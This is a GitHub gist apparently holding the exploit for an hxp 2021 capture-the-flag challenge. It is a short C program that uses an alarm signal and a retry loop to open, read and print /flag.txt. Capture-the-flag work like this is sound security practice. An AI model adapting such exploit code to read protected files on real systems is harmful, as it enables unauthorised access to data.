Skip to content

Instantly share code, notes, and snippets.

@pqlx
Created December 19, 2021 15:54
Show Gist options
  • Select an option

  • Save pqlx/bfb932c96b5d8805a6f1781ae2865993 to your computer and use it in GitHub Desktop.

Select an option

Save pqlx/bfb932c96b5d8805a6f1781ae2865993 to your computer and use it in GitHub Desktop.
hxp 2021 日本旅行 - exploit
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
void handle_alarm()
{
return;
}
int main(void)
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
signal(SIGALRM, handle_alarm);
alarm(1);
int fd;
while(1) {
fd = open("/flag.txt", O_RDONLY);
if (fd != -1) break;
}
printf("fd=%d", fd);
char buf[0x100];
read(fd, buf, 0x100);
puts(buf);
while(1);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment